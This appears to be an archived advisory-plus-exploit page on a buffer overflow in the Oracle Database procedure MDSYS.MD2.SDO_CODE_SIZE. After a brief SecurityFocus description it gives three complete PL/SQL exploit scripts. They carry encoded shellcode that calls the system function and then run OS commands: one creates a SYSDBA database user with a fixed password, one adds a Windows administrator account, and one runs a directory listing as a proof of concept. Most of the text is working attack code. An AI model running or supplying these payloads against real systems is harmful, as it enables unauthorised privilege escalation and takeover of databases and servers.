source: https://www.securityfocus.com/bid/13145/info

Oracle Database is reported prone to a buffer overflow vulnerability.

Reportedly this issue affects the 'MDSYS.MD2.SDO_CODE_SIZE' procedure. An attacker can supply excessive data to an affected routine resulting in overflowing a destination buffer. This issue can be leveraged to execute arbitrary code and gain 'SYSDBA' privileges.

It is conjectured that authentication is required to carry out an attack.

This BID will be updated when more information is available. 

/*
Advanced SQL Injection in Oracle databases

Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE
of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4.
Fixes available at http://metalink.oracle.com.

The exploit creates a SYSDBA user ERIC with a password 'MYPSW12'

By Esteban Martinez Fayo
secemf@gmail.com
*/

DECLARE
a BINARY_INTEGER; -- return value
AAA VARCHAR2(32767);
BEGIN
AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'
|| CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)
/*
83C3 09 ADD EBX,9
FFE3 JMP EBX
*/
|| CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB
/*
userenv.dll
78E35AFB 4B DEC EBX
78E35AFC FFD3 CALL EBX
*/
|| CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) || 
chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || 
chr(131) || chr(00) || chr(120) || chr(255) || chr(208)
/*
36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13]
50 PUSH EAX
B8 BF8E0178 MOV EAX,MSVCRT.system
FFD0 CALL EAX
B8 93830078 MOV EAX,MSVCRT._endthread
FFD0 CALL EAX
*/
|| 'echo CREATE USER ERIC IDENTIFIED BY MYPSW12; > c:\cu.sql'||chr(38)||'
echo GRANT DBA TO ERIC; >> c:\cu.sql '||chr(38)||' echo ALTER USER ERIC DEFAULT ROLE DBA; 
>> c:\cu.sql '||chr(38)||' echo GRANT SYSDBA TO "ERIC" WITH ADMIN OPTION; >> 
c:\cu.sql'||chr(38)||'echo QUIT >> c:\cu.sql '||chr(38)||' 
c:\oracle\product\10.1.0\db_1\bin\sqlplus.exe "/ as sysdba" @c:\cu.sql 1> 
c:\stdout.log 2> c:\stderr.log';
a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA);
END;

--------------------------------------------------------------------------------------------------------

/*
Advanced SQL Injection in Oracle databases

Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE
of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4.
Fixes available at http://metalink.oracle.com.

The exploit creates a Windows user ERIC with Administrator privilege.

By Esteban Martinez Fayo
secemf@gmail.com
*/

DECLARE
a BINARY_INTEGER; -- return value
AAA VARCHAR2(32767);
BEGIN
AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'
|| CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)
/*
83C3 09 ADD EBX,9
FFE3 JMP EBX
*/
|| CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB
/*
userenv.dll
78E35AFB 4B DEC EBX
78E35AFC FFD3 CALL EBX
*/
|| CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) 
|| chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) 
|| chr(131) || chr(00) || chr(120) || chr(255) || chr(208)
/*
36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13]
50 PUSH EAX
B8 BF8E0178 MOV EAX,MSVCRT.system
FFD0 CALL EAX
B8 93830078 MOV EAX,MSVCRT._endthread
FFD0 CALL EAX
*/
|| 'net user admin2 /add '||chr(38)||' net localgroup Administradores
admin2 /add '||chr(38)||' net localgroup ORA_DBA admin2 /add';
a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA);
end;

--------------------------------------------------------------------------------------------------------

/*
Advanced SQL Injection in Oracle databases

Proof of concept exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE
of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4.
Fixes available at http://metalink.oracle.com.

By Esteban Martinez Fayo
secemf@gmail.com
*/

DECLARE
a BINARY_INTEGER; -- return value
AAA VARCHAR2(32767);
BEGIN
AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'
|| CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)
/*
83C3 09 ADD EBX,9
FFE3 JMP EBX
*/
|| CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB
/*
userenv.dll
78E35AFB 4B DEC EBX
78E35AFC FFD3 CALL EBX
*/
|| CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) || chr(142) 
|| chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || chr(131) || 
chr(00) || chr(120) || chr(255) || chr(208)
/*
36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13]
50 PUSH EAX
B8 BF8E0178 MOV EAX,MSVCRT.system
FFD0 CALL EAX
B8 93830078 MOV EAX,MSVCRT._endthread
FFD0 CALL EAX
*/
|| 'dir>c:\dir.txt'; -- OS command to execute
a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA);
END;